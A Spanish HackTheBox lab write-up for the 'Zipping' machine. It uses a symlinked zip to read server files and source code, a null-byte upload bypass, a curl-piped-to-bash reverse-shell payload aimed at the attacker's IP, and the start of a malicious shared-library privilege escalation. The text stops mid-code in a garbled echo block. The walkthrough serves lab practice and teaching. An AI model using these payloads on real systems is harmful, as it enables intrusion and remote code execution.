This page looks best with JavaScript enabled

HackTheBox - Zipping

 •  ✍️ sckull

El sitio web de Zipping permite la subida de archivos Zip aceptando PDFs dentro de este, realizamos la lectura de archivos atraves de Zip Symlik lo que nos permitio el acceso al codigo fuente del sitio. Posteriormente logramos la subida de una shell inversa tras realizar Bypass a la subida de archivos mediante Null Byte Injection. Finalmente, escalamos privilegios tras crear una libreria personalizada para la ejecucion de un fichero.

Nombre Zipping box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.229
Maker

xdann1

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.6, 5.6, 5.3, 4.7, 4.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Sun Aug 27 12:54:58 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.129.102.169
Nmap scan report for 10.129.102.169
Host is up (0.073s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)
|_  256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 27 12:55:08 2023 -- 1 IP address (1 host up) scanned in 9.78 seconds

Web Site

No muestra ninguna redireccion a algun dominio, pero si se muestra un Apache como servidor.

1
2
3
4
5
6
7
 π ~/htb/zipping ❯ curl -sI http://10.129.102.169/
HTTP/1.1 200 OK
Date: Sun, 27 Aug 2023 17:25:44 GMT
Server: Apache/2.4.54 (Ubuntu)
Content-Type: text/html; charset=UTF-8

 π ~/htb/zipping ❯

El sitio web muestra informacion sobre la empresa.

image

En ‘work with us’ se muestra un formulario para subida de archivos.

image

Encontramos una tienda funcional en shop/.

image

Zip Symlink

El formulario de subida de archivos unicamente acepta archivos .ZIP y dentro debe de existir un archivo PDF. Creamos un PDF y lo comprimimos en un archivo zip.

1
2
3
4
5
6
7
 π ~/htb/zipping/test ❯ file pdf_a.pdf
pdf_a.pdf: PDF document, version 1.4, 1 pages
 π ~/htb/zipping/test ❯ zip test.zip pdf_a.pdf
  adding: pdf_a.pdf (deflated 6%)
 π ~/htb/zipping/test ❯ file test.zip
test.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
 π ~/htb/zipping/test ❯

Al subirlo nos retorna un link el cual muestra el pdf dentro del archivo zip.

image
image

Investigando sobre sobre vulnerabilidades en ZIP nos topamos con ZIP Symlink. Esto permite acceder a archivos representados por enlaces simbolicos dentro del archivo zip. Simplemente creamos un enlace simbolico apuntando a un archivo, lo comprimimos y al observar el archivo comprimido este tendria el contenido del enlace simbolico.

En este caso el archivo /etc/passwd esta representado como un enlace simbolico por nombre file.pdf el cual comprimimos.

1
2
3
4
5
 π ~/htb/zipping/test ❯ sudo ln -s ../../../../../../../../../../etc/passwd file.pdf
[sudo] password for kali:
 π ~/htb/zipping/test ❯ sudo zip --symlink zip.zip file.pdf
  adding: file.pdf (stored 0%)
 π ~/htb/zipping/test ❯

Como sabemos el archivo es descomprimido y el pdf puesto en un directorio, file.pdf al ser un enlace simbolico apuntaria a /etc/passwd y podriamos ver el contenido de este como se esperaba.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 π ~/htb/zipping ❯ curl http://10.129.102.169/uploads/6b87d11f0e21e54a9fb72c9715fb7802/file.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
 π ~/htb/zipping ❯

Source Code

Creamos un pequeno script para crear un archivo zip. En este caso logramos adivinar el directorio donde el sitio web esta almacenado.

1
2
3
 π ~/htb/zipping/test ❯ ./zipper.sh /var/www/html/upload.php
updating: file.pdf (stored 0%)
 π ~/htb/zipping/test ❯

Observamos el codigo fuente de upload.php.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# /var/www/html/upload.php
<html>
<html lang="en">
<head>
        <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Start your development with Creative Design landing page.">
    <meta name="author" content="Devcrud">
    <title>Zipping | Watch store</title>

    <!-- font icons -->
    <link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css">

    <!-- Bootstrap + Creative Design main styles -->
        <link rel="stylesheet" href="assets/css/creative-design.css">

</head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home">
    <!-- Page Header -->
    <header class="header header-mini">
      <div class="header-title">Work with Us</div>
      <nav aria-label="breadcrumb">
         <ol class="breadcrumb">
            <li class="breadcrumb-item"><a href="index.php">Home</a></li>
            <li class="breadcrumb-item active" aria-current="page">Work with Us</li>
         </ol>
      </nav>
    </header> <!-- End Of Page Header -->

    <section id="work" class="text-center">
        <!-- container -->
        <div class="container">
            <h1>WORK WITH US</h1>
            <p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.</p>

            <?php
            if(isset($_POST['submit'])) {
              // Get the uploaded zip file
              $zipFile = $_FILES['zipFile']['tmp_name'];
              if ($_FILES["zipFile"]["size"] > 300000) {
                echo "<p>File size must be less than 300,000 bytes.</p>";
              } else {
                // Create an md5 hash of the zip file
                $fileHash = md5_file($zipFile);
                // Create a new directory for the extracted files
                $uploadDir = "uploads/$fileHash/";
                // Extract the files from the zip
                $zip = new ZipArchive;
                if ($zip->open($zipFile) === true) {
                  if ($zip->count() > 1) {
                  echo '<p>Please include a single PDF file in the archive.<p>';
                  } else {
                  // Get the name of the compressed file
                  $fileName = $zip->getNameIndex(0);
                  if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
                    mkdir($uploadDir);
		    echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
                    echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
                  } else {
                    echo "<p>The unzipped file must have  a .pdf extension.</p>";
                  }
                 }
                } else {
                  echo "Error uploading file.";
                }

              }
            }
            ?>

            <!-- Submit File -->
            <form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php">
              <div class="mb-3">
                <input type="file" class="form-control" name="zipFile" accept=".zip">
              </div>
              <button type="submit" class="btn btn-primary" name="submit">Upload</button>
            </form><!-- End submit file -->

        </div><!-- End of Container-->
    </section><!-- End of Contact Section -->
    <!-- Section -->
    <section class="pb-0">
        <!-- Container -->
        <div class="container">
            <!-- Pre footer -->
            <div class="pre-footer">
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">ABOUT US</h6>
                    </li>
                    <li class="list-body">
                      <p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p>
                      <a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a>
                    </li>
                </ul>
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">USEFUL LINKS</h6>
                    </li>
                    <li class="list-body">
                        <div class="row">
                            <div class="col">
                                <a href="#">Link 1</a>
                                <a href="#">Link 2</a>
                                <a href="#">Link 3</a>
                                <a href="#">Link 4</a>
                            </div>
                            <div class="col">
                                <a href="#">Link 5</a>
                                <a href="#">Link 6</a>
                                <a href="#">Link 7</a>
                                <a href="#">Link 8</a>
                            </div>
                        </div>
                    </li>
                </ul>
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">CONTACT INFO</h6>
                    </li>
                    <li class="list-body">
                        <p>Contact us and we'll get back to you within 24 hours.</p>
                        <p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p>
                        <p><i class="ti-email"></i>  info@website.com</p>
                        <div class="social-links">
                            <a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-google"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a>
                        </div>
                    </li>
                </ul>
            </div><!-- End of Pre footer -->

            <!-- foooter -->
            <footer class="footer">
                <p>Made by <a href="https://github.com/xdann1">xDaNN1</p>
            </footer><!-- End of Footer-->

        </div><!--End of Container -->
    </section><!-- End of Section -->


</body>
</html>

Si observamos, verifica que el archivo extraido tenga la extension PDF en caso contrario muestra un mensaje.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if(isset($_POST['submit'])) {
  // Get the uploaded zip file
  $zipFile = $_FILES['zipFile']['tmp_name'];
  if ($_FILES["zipFile"]["size"] > 300000) {
    echo "<p>File size must be less than 300,000 bytes.</p>";
  } else {
    // Create an md5 hash of the zip file
    $fileHash = md5_file($zipFile);
    // Create a new directory for the extracted files
    $uploadDir = "uploads/$fileHash/";
    // Extract the files from the zip
    $zip = new ZipArchive;
    if ($zip->open($zipFile) === true) {
      if ($zip->count() > 1) {
      echo '<p>Please include a single PDF file in the archive.<p>';
      } else {
      // Get the name of the compressed file
      $fileName = $zip->getNameIndex(0);
      if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
        mkdir($uploadDir);
echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
        echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
      } else {
        echo "<p>The unzipped file must have  a .pdf extension.</p>";
      }
     }
    } else {
      echo "Error uploading file.";
    }

  }
}
?>

Tambien, logramos obtener el codigo fuente de la tienda.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# /shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# /shop/home.php
<?php
// Get the 4 most recently added products
$stmt = $pdo->prepare('SELECT * FROM products ORDER BY date_added DESC LIMIT 4');
$stmt->execute();
$recently_added_products = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?=template_header('Zipping | Home')?>

<div class="featured">
    <h2>Watches</h2>
    <p>The perfect watch for every occasion</p>
</div>
<div class="recentlyadded content-wrapper">
    <h2>Recently Added Products</h2>
    <div class="products">
        <?php foreach ($recently_added_products as $product): ?>
        <a href="index.php?page=product&id=<?=$product['id']?>" class="product">
            <img src="assets/imgs/<?=$product['img']?>" width="200" height="200" alt="<?=$product['name']?>">
            <span class="name"><?=$product['name']?></span>
            <span class="price">
                &dollar;<?=$product['price']?>
                <?php if ($product['rrp'] > 0): ?>
                <span class="rrp">&dollar;<?=$product['rrp']?></span>
                <?php endif; ?>
            </span>
        </a>
        <?php endforeach; ?>
    </div>
</div>

<?=template_footer()?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# /shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

<?=template_header('Zipping | Product')?>

<div class="product content-wrapper">
    <img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
    <div>
        <h1 class="name"><?=$product['name']?></h1>
        <span class="price">
            &dollar;<?=$product['price']?>
            <?php if ($product['rrp'] > 0): ?>
            <span class="rrp">&dollar;<?=$product['rrp']?></span>
            <?php endif; ?>
        </span>
        <form action="index.php?page=cart" method="post">
            <input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
            <input type="hidden" name="product_id" value="<?=$product['id']?>">
            <input type="submit" value="Add To Cart">
        </form>
        <div class="description">
            <?=$product['desc']?>
        </div>
    </div>
</div>

<?=template_footer()?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#/shop/functions.php
<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';
    try {
    	return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
    	// If there is an error with the connection, stop the script and display the error.
    	exit('Failed to connect to database!');
    }
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>$title</title>
		<link href="assets/style.css" rel="stylesheet" type="text/css">
		<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
	</head>
	<body>
        <header>
            <div class="content-wrapper">
                <a href=".." style="text-decoration: none;"><h1>Zipping Watch Store</h1></a>
                <nav>
                    <a href="index.php">Home</a>
                    <a href="index.php?page=products">Products</a>
                </nav>
                <div class="link-icons">
                    <a href="index.php?page=cart">
						<i class="fas fa-shopping-cart"></i>
						<span>$num_items_in_cart</span>
					</a>
                </div>
            </div>
        </header>
        <main>
EOT;
}
// Template footer
function template_footer() {
$year = date('Y');
echo <<<EOT
        </main>
        <footer>
            <div class="content-wrapper">
                <p>&copy; $year, Zipping Watch Store</p>
            </div>
        </footer>
    </body>
</html>
EOT;
}
?>

Null Byte Injection

Intentamos realizar bypass a la restriccion de archivos unicos PDF utilizando null byte. Primero, creamos un archivo con codigo PHP en este caso un simple echo, el nombre lo identificamos como file.phpA.pdf tomamos en cuenta la letra A la cual cambiamos adelante. Comprimimos el archivo en un ZIP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/zipping ❯ cat file.phpA.pdf
<?php
echo "sckull";
?>
 π ~/htb/zipping ❯
 π ~/htb/zipping ❯ zip php.zip file.phpA.pdf
  adding: file.phpA.pdf (stored 0%)
 π ~/htb/zipping ❯ ls php.zip
php.zip
 π ~/htb/zipping ❯

Utilizando Burpsuite interceptamos la subida del archivo, nos dirigimos a la pestana Hex, en la ultima columna buscamos file.phpA.pdf y nos ubicamos en la letra A con valor 41 en la tabla Hex y lo modificamos a un valor null 00. Tras realizar el cambio enviamos la solicitud.

Nos retorna la direccion con el archivo file.php .pdf hay que notar que la direccion contiene un espacio, tras visitar esta direccion esta aparece como no disponible, sin embargo si eliminamos el espacio y la extension pdf nos devuelve la ejecucion del codigo php.

1
2
3
 π ~/htb/zipping ❯ curl http://10.129.102.169/uploads/c91334b44b543a68e422b99b1293d274/file.php
 sckull
 π ~/htb/zipping ❯

Ref. 1

User - Rektsu

Con lo anterior, creamos un archivo para la ejecucion de una shell inversa utilizando shells.

1
2
3
4
5
 π ~/htb/zipping ❯ cat file.phpA.pdf
<?php
system('curl 10.10.14.73:8000/10.10.14.73:1335|bash');
?>
 π ~/htb/zipping ❯

Tras la ejecucion logramos obtener una shell como rektsu y nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 π ~/htb/zipping ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.129.102.169: inverse host lookup failed: Unknown host
connect to [10.10.14.73] from (UNKNOWN) [10.129.102.169] 39972
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
rektsu@zipping:/var/www/html/uploads/a7abe5fe69e77bb013b84e6f63ddcb65$ whoami;id;pwd
<ads/a7abe5fe69e77bb013b84e6f63ddcb65$ whoami;id;pwd
rektsu
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
/var/www/html/uploads/a7abe5fe69e77bb013b84e6f63ddcb65
rektsu@zipping:/var/www/html/uploads/a7abe5fe69e77bb013b84e6f63ddcb65$ cd
cd
bash: cd: HOME not set
rektsu@zipping:/var/www/html/uploads/a7abe5fe69e77bb013b84e6f63ddcb65$ cd /home/rektsu
<s/a7abe5fe69e77bb013b84e6f63ddcb65$ cd /home/rektsu
rektsu@zipping:/home/rektsu$ ls
ls
user.txt
rektsu@zipping:/home/rektsu$ cat user.txt
cat user.txt
c663151e7405b0938668cae21609a767
rektsu@zipping:/home/rektsu$

Privesc

Encontramos que rektsu puede ejecutar el fichero /usr/bin/stock como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
rektsu@zipping:~$ sudo -l -l
sudo -l -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
	/usr/bin/stock
rektsu@zipping:~$ file /usr/bin/stock
file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped
rektsu@zipping:~$

Tras ejecutar el archivo requiere una contrasena.

1
2
3
4
rektsu@zipping:~$ sudo /ur/bin/stock
sudo /ur/bin/stock
Enter the password: 12345
Invalid password, please try again.

Pasamos strings sobre el fichero vemos una direccion de un archivo .csv y dos strings interesantes: Hakaize y St0ckM4nager.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
rektsu@zipping:~$ strings /usr/bin/stock
strings /usr/bin/stock
/lib64/ld-linux-x86-64.so.2
[...]
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password:
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
You do not have permissions to read the file
File could not be opened.
================== Stock Actual ==================
Colour     Black   Gold    Silver
Amount     %-7d %-7d %-7d
Quality   Excelent Average Poor
Amount    %-9d %-7d %-4d
Exclusive Yes    No
Amount    %-4d   %-4d
Warranty  Yes    No
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver):
Quality (0: excelent, 1: average, 2: poor):
Exclusivity (0: yes, 1: no):
Warranty (0: yes, 1: no):
Amount:
Error: The information entered is incorrect
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
The stock has been updated correctly.
;*3$"
GCC: (Debian 12.2.0-3) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
[...]
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
rektsu@zipping:~$

Tras ingresar St0ckM4nager es aceptada como contrasena. Sin embargo no encontramos algun valor manipulable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
rektsu@zipping:~$ sudo /ur/bin/stock
sudo /ur/bin/stock          
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option:

strace nos muestra mas informacion sobre el fichero, vemos que este intenta acceder a /home/rektsu/.config/libcounter.so el cual no existe.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
rektsu@zipping:~$ strace /usr/bin/stock
strace /usr/bin/stock
execve("/usr/bin/stock", ["/usr/bin/stock"], 0x7ffeff27ffd0 /* 17 vars */) = 0
brk(NULL)                               = 0x55991d70c000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffd6d403270) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f15b73b5000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18225, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 18225, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f15b73b0000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2072888, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2117488, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f15b7000000
mmap(0x7f15b7022000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f15b7022000
mmap(0x7f15b719b000, 356352, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0x7f15b719b000
mmap(0x7f15b71f2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f1000) = 0x7f15b71f2000
mmap(0x7f15b71f8000, 53104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f15b71f8000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f15b73ad000
arch_prctl(ARCH_SET_FS, 0x7f15b73ad740) = 0
set_tid_address(0x7f15b73ada10)         = 10317
set_robust_list(0x7f15b73ada20, 24)     = 0
rseq(0x7f15b73ae060, 0x20, 0, 0x53053053) = 0
mprotect(0x7f15b71f2000, 16384, PROT_READ) = 0
mprotect(0x55991c70d000, 4096, PROT_READ) = 0
mprotect(0x7f15b73eb000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f15b73b0000, 18225)           = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
getrandom("\xaa\x51\x32\x16\x50\x57\xec\x63", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55991d70c000
brk(0x55991d72d000)                     = 0x55991d72d000
newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
St0ckM4nager
"St0ckM4nager\n", 1024)         = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
) = 44
write(1, "\n", 1
)                       = 1
write(1, "1) See the stock\n", 171) See the stock
)      = 17
write(1, "2) Edit the stock\n", 182) Edit the stock
)     = 18
write(1, "3) Exit the program\n", 203) Exit the program
)   = 20
write(1, "\n", 1
)                       = 1
write(1, "Select an option: ", 18Select an option: )      = 18
read(0, 1
1
"1\n", 1024)                    = 2
openat(AT_FDCWD, "/root/.stock.csv", O_RDONLY) = -1 EACCES (Permission denied)
write(1, "You do not have permissions to r"..., 44You do not have permissions to read the file) = 44
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(1)                           = ?
+++ exited with 1 +++
rektsu@zipping:~$

Creamos y compilamos la libreria libcounter.so a la carpeta /home/rektsu/.config/ la cual ejecuta /bin/sh. (2)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
rektsu@zipping:~$ echo -n '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
	unsetenv("LD_PRELOAD");
echo -n '#include <stdio.h>
	setgid(0);
